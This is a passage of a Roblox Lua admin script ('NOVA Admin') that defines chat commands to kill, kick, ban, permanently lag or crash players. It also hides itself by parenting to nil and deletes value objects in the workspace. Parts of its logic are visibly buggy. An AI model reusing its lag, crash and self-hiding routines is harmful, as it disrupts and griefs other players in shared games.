  779. box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  780.  
  781. local pos = Instance.new("BodyPosition")
  782. pos.Parent = part
  783. pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  784. pos.position = _pos.p
  785.  
  786. local gyro = Instance.new("BodyGyro")
  787. gyro.Parent = part
  788. gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  789.  
  790. local recip = Instance.new("ObjectValue")
  791. recip.Parent = model
  792. recip.Name = "Recipient"
  793. recip.Value = Player
  794.  
  795. local gui = Instance.new("BillboardGui")
  796. gui.Adornee = part
  797. gui.Size = UDim2.new(1, 0, 1, 0)
  798. gui.StudsOffset = Vector3.new(0, 3, 0)
  799. gui.Parent = model
  800.  
  801. local frame = Instance.new("Frame")
  802. frame.Parent = gui
  803. frame.Size = UDim2.new(1, 0, 1, 0)
  804. frame.BackgroundTransparency = 1
  805.  
  806. local label = Instance.new("TextLabel")
  807. label.Parent = frame
  808. label.Text = Message
  809. label.FontSize = "Size12"
  810. label.TextColor3 = Color
  811.  
  812. coroutine.resume(coroutine.create(function()
  813. if Stick == 0 or Stick == nil then else
  814. wait(Stick)
  815. model:Remove()
  816. end
  817. end))
  818.  
  819. table.insert(NOVA.Tablets, model)
  820. return click
  821. end
  822. end
  823. --[[ IMAGE OUTPUT ]]--
  824. function OutputImg(Image,Text,Color,Player,Stick,Func)
  825. Tab = Output(Text,Color,Player,Stick,Func)
  826.  
  827. BBG = Instance.new("BillboardGui",Tab.Parent)
  828. BBG.Size = UDim2.new(5,0,6,0)
  829. BBG.StudsOffset = Vector3.new(0, 7, 0)
  830. BBG.Adornee = Tab.Parent
  831.  
  832. Img = Instance.new("ImageLabel",BBG)
  833. Img.Size = UDim2.new(1,0,1,0)
  834. Img.BackgroundTransparency = 1
  835. Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  836. return Tab
  837. end
  838.  
  839.  
  840. --[[ OUTPUT MULTI ]]--
  841.  
  842. function OutputMulti(Msg,Color,Players,Stick,Func)
  843. --if type(Players) == "Table" then
  844. for _,v in pairs(Players) do
  845. Output(Msg,Color,v,Stick,Func)
  846. end
  847. --end
  848. end
  849.  
  850. --[[ UPDATE TABLETS ]]--
  851.  
  852. function UpdateTablets()
  853. --pcall(function()
  854. for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  855. local _tablets = GetTablets(Player)
  856. local counter = 0
  857. local Stretch = math.floor(#_tablets /2)
  858.  
  859. for i = 90, -90, -180/(#_tablets - 1) do
  860. counter = counter + 1
  861. local tabletPosition = Player.Character.Torso.CFrame * CFrame.Angles(0, math.rad(i), 0) * CFrame.new(0, 0, -15 - (Stretch))
  862.  
  863. pcall(function() _tablets[counter].Part.BodyPosition.position = tabletPosition.p end)
  864. pcall(function() _tablets[counter].Part.BodyGyro.cframe = tabletPosition * CFrame.Angles(math.rad(70), 0, 0) end)
  865. end
  866.  
  867. if #_tablets == 1 then
  868. local torso = Player.Character.Torso
  869. local pos = torso.CFrame + torso.CFrame.lookVector * 10
  870.  
  871. pcall(function() _tablets[1].Part.BodyPosition.position = pos.p end)
  872. pcall(function() _tablets[1].Part.BodyGyro.cframe = pos * CFrame.Angles(math.rad(70), 0, 0) end)
  873. end
  874. end
  875. --end)
  876. end
  877.  
  878. --[[ GET PLAYERS ]]--
  879. function GetPlayers(string,Player)
  880. if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  881. string = string:lower()
  882. Rtn = {}
  883. if string == "all" then
  884. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  885. table.insert(Rtn,v)
  886. end
  887. elseif string == "others" then
  888. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  889. if v ~= Player then
  890. table.insert(Rtn,v)
  891. end
  892. end
  893. elseif string == "random" then
  894. table.insert(Rtn,NOVA.Services.Players:GetPlayers()[math.random(1,#NOVA.Services.Players:GetPlayers())])
  895. elseif string == "me" then
  896. table.insert(Rtn,Player)
  897. elseif string == "vetrans" then
  898. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  899. if v.AccountAge > 365 then
  900. table.insert(Rtn,v)
  901. end
  902. end
  903. elseif string == "nonvetrans" or string == "notvetrans" then
  904. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  905. if v.AccountAge < 365 then
  906. table.insert(Rtn,v)
  907. end
  908. end
  909. elseif string == "targeted" then
  910. for _,v in pairs(NOVA.Targeted) do
  911. table.insert(Rtn,v)
  912. end
  913. elseif string == "nontargeted" or string == "nottargeted" then
  914. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  915. if not IsTargeted(v) then
  916. table.insert(Rtn,v)
  917. end
  918. end
  919. elseif string:sub(1,4) == "rank" then
  920. if string:sub(6,7) == "gt" then
  921. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  922. print(string:sub(9))
  923. print(GetRank(v))
  924. print(GetRank(v) > tonumber(string:sub(9)))
  925. if GetRank(v) > tonumber(string:sub(9)) then
  926. print'ADDING!'
  927. table.insert(Rtn,v)
  928. print'ADDED!'
  929. end
  930. end
  931. elseif string:sub(6,7) == "ge" then
  932. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  933. if GetRank(v) >= tonumber(string:sub(9)) then
  934. table.insert(Rtn,v)
  935. end
  936. end
  937. elseif string:sub(6,7) == "eq" then
  938. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  939. if GetRank(v) == tonumber(string:sub(9)) then
  940. table.insert(Rtn,v)
  941. end
  942. end
  943. elseif string:sub(6,7) == "le" then
  944. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  945. if GetRank(v) <= tonumber(string:sub(9)) then
  946. table.insert(Rtn,v)
  947. end
  948. end
  949. elseif string:sub(6,7) == "lt" then
  950. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  951. if GetRank(v) > tonumber(string:sub(9)) then
  952. table.insert(Rtn,v)
  953. end
  954. end
  955. end
  956. else
  957. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  958. if string.sub(string.lower(v.Name),1,#string) == string.lower(string) then
  959. table.insert(Rtn,v)
  960. end
  961. end
  962. end
  963.  
  964. --[[for _,v in pairs(Rtn) do
  965. print(type(v),v.Name)
  966. end]]
  967. --[[
  968. for i=1,#Rtn do
  969. if GetRank(Rtn[i]) >= GetRank(Player) then
  970. --if not Rtn[i] == Player then
  971. --Output(Rtn[i].Name.." outranks you!",NOVA.Colors.Orange,Player)
  972. print'DERP!'
  973. --end
  974. end
  975. end
  976. ]]
  977. return Rtn
  978. end
  979.  
  980. --[[ ON CHATTED ]]--
  981.  
  982. function OnChatted(Msg,Speaker)
  983. coroutine.resume(coroutine.create(function()
  984. if NOVA.Removed == false then
  985. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  986. if NOVA.ShowChat == true then
  987. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)
  988. end
  989. end
  990.  
  991. --[[ CHAT FILTERS ]]--
  992. if string.sub(Msg,1,10) == "mediafire " then Msg = string.sub(Msg,11) end
  993. if string.sub(Msg,1,5) == "shit " then Msg = Msg:sub(6) end
  994. if string.sub(Msg,1,5) == "gtfo " then Msg = Msg:sub(6) end
  995. if string.sub(Msg,1,4) == " " then Msg = Msg:sub(5) end
  996. if string.sub(Msg,1,9) == "password " then Msg = Msg:sub(10) end
  997. if string.sub(Msg,1,7) == "hitler " then Msg = Msg:sub(8) end
  998.  
  999. --[[ KILLING PHRASES ]]--
  1000. if Msg:lower():find("ssj") then pcall(function() Speaker.Character:BreakJoints() end) end
  1001.  
  1002. Num = 1
  1003. Sep = nil
  1004.  
  1005. if Msg:sub(1,3) == "\\do" then
  1006.  
  1007. for i=4,100 do
  1008. if Msg:sub(i,i) == "\\" then
  1009. Sep = i
  1010. break
  1011. end
  1012. end
  1013.  
  1014. if Sep ~= nil then
  1015. Num = tonumber(Msg:sub(4,Sep-1))
  1016. end
  1017.  
  1018. Msg = Msg:sub(Sep)
  1019. end
  1020.  
  1021. if GetRank(Speaker) < 6 and GetRank(Speaker) >= 0 then
  1022. if Num > (GetRank(Speaker) + 1 )*10 then
  1023. Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1024. Num = 0
  1025. end
  1026. end
  1027.  
  1028. for i=1,Num do
  1029. wait()
  1030.  
  1031. if NOVA.Canceled == true then NOVA.Canceled = false break end
  1032.  
  1033. for _,CMD in pairs(NOVA.Commands) do
  1034. if string.sub(Msg:lower(),1,#CMD.Command+3) == "\\"..CMD.Command:lower().."\\?" then
  1035. RemoveTablets(Speaker)
  1036. Output("Name : "..CMD.Name,GetRankedTable(Speaker).Color,Speaker)
  1037. Output("Command : "..CMD.Command,GetRankedTable(Speaker).Color,Speaker)
  1038. Output("Arguments : "..CMD.Args,GetRankedTable(Speaker).Color,Speaker)
  1039. Output("Description : "..CMD.Description,GetRankedTable(Speaker).Color,Speaker)
  1040. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1041. elseif string.sub(Msg:lower(),1,#CMD.Command+2) == "\\"..CMD.Command:lower().."\\" then
  1042. if GetRank(Speaker) ~= nil and GetRank(Speaker) >= CMD.Rank then
  1043. CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker)
  1044. else
  1045. print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1046. Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1047. end
  1048.  
  1049. end
  1050. end
  1051. end
  1052. end
  1053. end))
  1054. end
  1055.  
  1056. --[[ ADD COMMAND ]]--
  1057.  
  1058. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1059. table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1060. end
  1061.  
  1062. --[[ BACKUP PROCEDURE ]]--
  1063. pcall(function()
  1064. NOVA.Backup = script:children()[2].Value
  1065. end)
  1066.  
  1067. --[[ NIL SUPPORT ]]--
  1068. game:service'Chat'.Chatted:connect(function(Part,Message,Color)
  1069. OnChatted(Message,Part.Parent.Name)
  1070. end)
  1071.  
  1072.  
  1073. --[[ Safety Procedure # 1 ]]--
  1074. pcall(function()
  1075. NOVA.LocalScript.Parent = nil
  1076. end)
  1077. for _,v in pairs(NOVA.Plugins) do
  1078. pcall(function()
  1079. v.Parent = nil
  1080. end)
  1081. end
  1082. pcall(function()
  1083. script:ClearAllChildren()
  1084. end)
  1085.  
  1086. --[[ Safty Procedure # 2 ]]--
  1087. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1088. if v:IsA("StringValue") or v:IsA("IntValue") then
  1089. pcall(function()
  1090. v:remove()
  1091. end)
  1092. end
  1093. end
  1094.  
  1095. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1096. if _G[NOVA.GlobalLoggedScriptsKey] ~= nil then
  1097. if type(_G[NOVA.GlobalLoggedScriptsKey]) == "table" then
  1098. for _,v in pairs(_G[NOVA.GlobalLoggedScriptsKey]) do
  1099. pcall(function()
  1100. table.insert(NOVA.LoggedScripts,v)
  1101. end)
  1102. end
  1103. end
  1104. end
  1105.  
  1106. for _,Service in pairs(NOVA.Services) do
  1107. Service.DescendantAdded:connect(function(New)
  1108. if NOVA.Removed == false then
  1109. if New:IsA("BaseScript") or New:IsA("Script") or New:IsA("LocalScript") then
  1110. table.insert(NOVA.LoggedScripts,v)
  1111. end
  1112. end
  1113. end)
  1114. end
  1115.  
  1116. for _,v in pairs(GetRecursiveChildren()) do
  1117. pcall(function()
  1118. if v:IsA("BaseScript") or v:IsA("Script") or v:IsA("LocalScript") then
  1119. table.insert(NOVA.LoggedScripts,v)
  1120. end
  1121. end)
  1122. end
  1123.  
  1124. --[[ INITIAL STARTUP ]]--
  1125. NOVA.Sounds.Sound.Name = "NOVA Sound"
  1126. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  1127. pcall(function()
  1128. pcall(function()
  1129. v.PlayerGui.NOVACMD:Remove()
  1130. end)
  1131. if GetRankedTable(v)==nil then
  1132. table.insert(NOVA.Ranked,{Name = v.Name, InPRI = false, CMD = false, Rank = 0, Color = NOVA.Colors.Orange, Desc = "N/A"})
  1133. end
  1134.  
  1135. Data = GetRankedTable(v)
  1136.  
  1137. v.Chatted:connect(function(Msg)
  1138. OnChatted(Msg,v)
  1139. end)
  1140.  
  1141.  
  1142.  
  1143. if GetRank(v) == -2 then
  1144. if v.Name ~= "TeamDman" then
  1145. OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Color.Orange,GetRanked(),10)
  1146. Lag(v)
  1147. end
  1148. end
  1149.  
  1150. if GetRank(v) == -1 then
  1151. if v.Name ~= "TeamDman" then
  1152. OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Color.Orange,GetRanked(),10)
  1153. GetRidOf(v)
  1154. end
  1155. end
  1156.  
  1157.  
  1158. coroutine.resume(coroutine.create(function()
  1159. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1160. CreateLocalScript(PlayerPlugins,v.Backpack)
  1161. end))
  1162.  
  1163. --[[
  1164. if GetRank(v) ~= nil and Data ~= nil then
  1165. Output("Hello, "..v.Name..". Your current rank is "..GetRankName(v)..".",Data.Color,v,10)
  1166. Output("Say \"\\cmds\\\" for a list of avalible commands!","Random",v,10)
  1167. OutputImg("http:\\www.roblox.com/asset/?id==82039020","NOVA","Random",v,10)
  1168. end
  1169. ]]
  1170. end)
  1171. end
  1172.  
  1173. --[[
  1174. OutputMulti("NOVA Admin made by "..string.reverse("namDmaeT")..".","Random",GetRanked(),4)
  1175. for _,v in pairs(NOVA.Credit) do OutputMulti("Thanks to : "..v.Name.." "..v.Why,"Random",GetRanked(),10) end
  1176. ]]
  1177.  
  1178. --[[ PLAYER ADDED ]]--
  1179.  
  1180. NOVA.Services.Players.PlayerAdded:connect(function(v)
  1181. if NOVA.Removed == false then
  1182. pcall(function()
  1183. v.Chatted:connect(function(Msg)
  1184. OnChatted(Msg,v)
  1185. end)
  1186. if GetRankedTable(v)==nil then
  1187. table.insert(NOVA.Ranked,{Name = v.Name, InPRI = false, CMD = false, Rank = 0, Color = NOVA.Colors.Orange, Desc = "N/A"})
  1188. end
  1189.  
  1190. Data = GetRankedTable(v)
  1191.  
  1192. --[[ if NOVA.Removed == false then
  1193. print(v. Name.." has joined the game.")
  1194. print("Name : "..v.Name)
  1195. print("Age : "..v.AccountAge)
  1196. print("Rank : "..Data.Rank)
  1197. print("Desc : "..Data.Desc)
  1198. print("InPRI : "..Data.InPRI)
  1199. print("CMD : "..Data.CMD)
  1200. print("Color : "..tostring(Data.Color))
  1201. end
  1202. ]]
  1203.  
  1204. OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1205.  
  1206.  
  1207. if Data.Rank == -2 then
  1208. if v.Name ~= "TeamDman" then
  1209. OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1210. Lag(v)
  1211. end
  1212. end
  1213.  
  1214. if Data.Rank == -1 then
  1215. if v.Name ~= "TeamDman" then
  1216. OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1217. GetRidOf(v)
  1218. end
  1219. end
  1220.  
  1221.  
  1222. coroutine.resume(coroutine.create(function()
  1223. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1224. CreateLocalScript(PlayerPlugins,v.Backpack)
  1225. end))
  1226.  
  1227.  
  1228. if NOVA.PRI == true then
  1229. if Data.InPRI == false and v.Name ~= "TeamDman" then
  1230. OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1231. if NOVA.PRIType == "Kick" then
  1232. v:Remove()
  1233. elseif NOVA.PRIType == "Lag" then
  1234. Lag(v)
  1235. elseif NOVA.PRIType == "Shutdown" then
  1236. coroutine.resume(coroutine.create(function()
  1237. GetRidOf(v)
  1238. end))
  1239. elseif NOVA.PRIType == "Crash" then
  1240. coroutine.resume(coroutine.create(function()
  1241. repeat wait() until v.Character ~= nil
  1242. pcall(function()
  1243. v.Character.Humanoid.WalkSpeed = 1e+999
  1244. end)
  1245. end))
  1246. end
  1247. end
  1248. end
  1249. end)
  1250. end
  1251. end)
  1252.  
  1253. AddCommand("Ping","ping",2,"Outputs the following string.","<String>",
  1254. function(Msg,Speaker)
  1255. if Msg == "rainbow" then
  1256. for _,Color in pairs(NOVA.Colors) do
  1257. Output(tostring(Color),Color,Speaker,nil,
  1258. function()
  1259. RemoveTablets(Speaker)
  1260. NOVA.Services.Lighting.TimeOfDay = 0
  1261. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1262. NOVA.Services.Lighting.Brightness = 0
  1263. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1264. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1265. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1266. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1267. if v:IsA("BasePart") then
  1268. Sel = Instance.new("SelectionBox",v)
  1269. Sel.Transparency = 0
  1270. Sel.Color = BrickColor.new(Color)
  1271. Sel.Adornee = v
  1272. end
  1273. end
  1274. Output("Say \\debug\\ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1275. end
  1276. )
  1277. end
  1278. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1279. elseif Msg == "ranks" then
  1280. for _,v in pairs(NOVA.Ranks) do
  1281. Output(v,"Random",Speaker)
  1282. end
  1283. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1284. elseif Msg == "random" then
  1285. Output(tostring(math.random()),"Random",Speaker)
  1286. elseif Msg == "players" then
  1287. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  1288. local Data = GetRankedTable(v)
  1289. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker,nil,
  1290. function()
  1291. RemoveTablets(Speaker)
  1292. Output("Age : "..v.AccountAge,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\players",Speaker) end)
  1293. Output("User ID : "..v.userId,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\players",Speaker) end)
  1294. Output("Name : "..v.Name,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\players",Speaker) end)
  1295. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1296. end
  1297. )
  1298. end
  1299. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1300. elseif Msg == "colors" then
  1301. coroutine.resume(coroutine.create(function()
  1302. NOVA.Services.Lighting.TimeOfDay = 0
  1303. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1304. NOVA.Services.Lighting.Brightness = 0
  1305. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1306. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1307. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1308.  
  1309. for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1310. Data = GetRankedTable(Player)
  1311. pcall(function()
  1312. for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1313. if v:IsA("BasePart") then
  1314. Sel = Instance.new("SelectionBox",v)
  1315. Sel.Transparency = 0
  1316. Sel.Color = BrickColor.new(Data.Color)
  1317. Sel.Adornee = v
  1318. end
  1319. end
  1320. end)
  1321. end
  1322.  
  1323. wait(10)
  1324.  
  1325. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1326. if v:IsA("SelectionBox") then
  1327. v:remove()
  1328. end
  1329. end
  1330.  
  1331. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1332. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1333. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1334. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1335. NOVA.Services.Lighting.Brightness = 1
  1336. NOVA.Services.Lighting.FogStart = 0
  1337. NOVA.Services.Lighting.FogEnd = 100000
  1338. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1339. NOVA.Services.Lighting.TimeOfDay = 12
  1340. end))
  1341. elseif Msg == "replicators" then
  1342. for _,Client in pairs(GetReplicators()) do
  1343. Data = GetRankedTable(Client:GetPlayer())
  1344. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1345. function()
  1346. RemoveTablets(Speaker)
  1347. Output("Age : "..Client:GetPlayer().AccountAge,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\replicators",Speaker) end)
  1348. Output("User ID : "..Client:GetPlayer().userId,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\replicators",Speaker) end)
  1349. Output("Name : "..Client:GetPlayer().Name,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\replicators",Speaker) end)
  1350. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1351. end
  1352. )
  1353. end
  1354. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1355. elseif Msg == "nil" then
  1356. --[=[
  1357. Player = "WhenYouRunYouDie"
  1358. for _,v in pairs(game.NetworkServer:children()) do
  1359. if v:GetPlayer().Name == Player then
  1360. Player = v:GetPlayer()
  1361. break
  1362. end
  1363. end
  1364.  
  1365. newLocalScript([[
  1366. LocalPlayer = game:service'Players'.LocalPlayer
  1367. Players = LocalPlayer.Parent
  1368. LocalPlayer.Parent = nil
  1369. LocalPlayer.Parent = Players
  1370. ]], Instance.new("Backpack",Player)
  1371. )
  1372.  
  1373. ]=]--
  1374. for _,Client in pairs(GetReplicators()) do
  1375. Data = GetRankedTable(Client:GetPlayer())
  1376. if Client:GetPlayer().Parent == nil then
  1377. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1378. function()
  1379. RemoveTablets(Speaker)
  1380. Output("Age : "..Client:GetPlayer().AccountAge,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\nil",Speaker) end)
  1381. Output("User ID : "..Client:GetPlayer().userId,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\nil",Speaker) end)
  1382. Output("Name : "..Client:GetPlayer().Name,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\nil",Speaker) end)
  1383. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,function() Instance.new("BooleanValue",Client:GetPlayer()).Name = "Disconnect()" Client:GetPlayer().Parent = NOVA.Services.Players end)
  1384. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1385. end
  1386. )
  1387. end
  1388. end
  1389. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1390. else
  1391. if #Msg == 0 then
  1392. Output("Pong!","Random",Speaker)
  1393. else
  1394. Output(Msg,"Random",Speaker)
  1395. end
  1396. end
  1397. end
  1398. )
  1399.  
  1400. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  1401. function(Msg,Speaker)
  1402. if Msg == "all" then
  1403. if GetRank(Speaker) > 0 then
  1404. RemoveTablets()
  1405. end
  1406. else
  1407. RemoveTablets(Speaker)
  1408. end
  1409. end
  1410. )
  1411.  
  1412. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  1413. function(Msg,Speaker)
  1414. makeMessage(1,"[NOVA] "..Msg,NOVA.Services.Workspace)
  1415. end
  1416. )
  1417.  
  1418. AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
  1419. function(Msg,Speaker)
  1420. RemoveTablets()
  1421. NOVA.Sounds.Sound:Remove()
  1422. NOVA.Removed = true
  1423. error("NOVA Admin removing...")()
  1424. NOVA = {}
  1425. script.Disabled = true
  1426. while true do wait() end
  1427. end
  1428. )
  1429.  
  1430. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  1431. function(Msg,Speaker)
  1432. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1433. pcall(function() v.Character:BreakJoints() end)
  1434. end
  1435. end
  1436. )
  1437.  
  1438. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  1439. function(Msg,Speaker)
  1440. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1441. pcall(function()
  1442. v:Destroy()
  1443. end)
  1444. end
  1445. end
  1446. )
  1447.  
  1448. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  1449. function(Msg,Speaker)
  1450. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1451. if v.Name == "TeamDman" then
  1452. Output("Attempt to ban the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  1453. else
  1454. pcall(function()
  1455. GetRankedTable(v).Rank = -1
  1456. GetRidOf(v)
  1457. end)
  1458. end
  1459. end
  1460. end
  1461. )
  1462.  
  1463. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  1464. function(Msg,Speaker)
  1465. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1466. if v.Name == "TeamDman" then
  1467. Output("Attempt to ban the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  1468. else
  1469. pcall(function()
  1470. GetRankedTable(v).Rank = -2
  1471. Lag(v)
  1472. end)
  1473. end
  1474. end
  1475. end
  1476. )
  1477.  
  1478. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  1479. function(Msg,Speaker)
  1480. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1481. pcall(function() Instance.new("ForceField",v.Character) end)
  1482. end
  1483. end
  1484. )
  1485.  
  1486. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  1487. function(Msg,Speaker)
  1488. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1489. pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  1490. end
  1491. end
  1492. )
  1493.  
  1494. AddCommand("Check","check",2,"Outputs server information.","No Arguments",
  1495. function(Msg,Speaker)
  1496. Data = GetRankedTable(Speaker)
  1497. Output("PRI : "..tostring(NOVA.PRI),Data.Color,Speaker)
  1498. Output("PRI Type : "..NOVA.PRIType,Data.Color,Speaker)
  1499. Output("Script Lock : "..tostring(NOVA.LockedScripts),Data.Color,Speaker)
  1500. Output("Model Lock : "..tostring(NOVA.LockModels),Data.Color,Speaker)
  1501. Output("Show Chat : "..tostring(NOVA.ShowChat),Data.Color,Speaker)
  1502. Output("Players : "..tostring(#NOVA.Services.Players:GetPlayers()),Data.Color,Speaker)
  1503. Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  1504. Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  1505. OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  1506.  
  1507. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1508. end
  1509. )
  1510.  
  1511. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  1512. function(Msg,Speaker)
  1513. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1514. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1515. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1516. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1517. NOVA.Services.Lighting.Brightness = 1
  1518. NOVA.Services.Lighting.FogStart = 0
  1519. NOVA.Services.Lighting.FogEnd = 100000
  1520. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1521. NOVA.Services.Lighting.TimeOfDay = 12
  1522. pcall(function()
  1523. CreateLocalScript([[
  1524. Camera = workspace.CurrentCamera
  1525. Camera:SetRoll(0)
  1526. Camera.CameraType = "Custom"
  1527. Camera.FieldOfView = 70
  1528. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  1529. ]],Speaker.Backpack)
  1530. end)
  1531. for _,v in pairs(NOVA.Services) do
  1532. v.Name = v.className
  1533. end
  1534.  
  1535. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1536. if v:IsA("SelectionBox") then
  1537. v:remove()
  1538. end
  1539. end
  1540. for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  1541. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  1542. pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  1543. if #NOVA.Services.Teams:GetChildren() == 0 then
  1544. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  1545. v.Neutral = true
  1546. end
  1547. end
  1548.  
  1549. end
  1550. )
  1551.  
  1552. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  1553. function(Msg,Speaker)
  1554. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1555. pcall(function()
  1556. v:LoadCharacter()
  1557. end)
  1558. end
  1559. end
  1560. )
  1561.  
  1562. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  1563. function(Msg,Speaker)
  1564. Data = GetRankedTable(Speaker)
  1565. Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
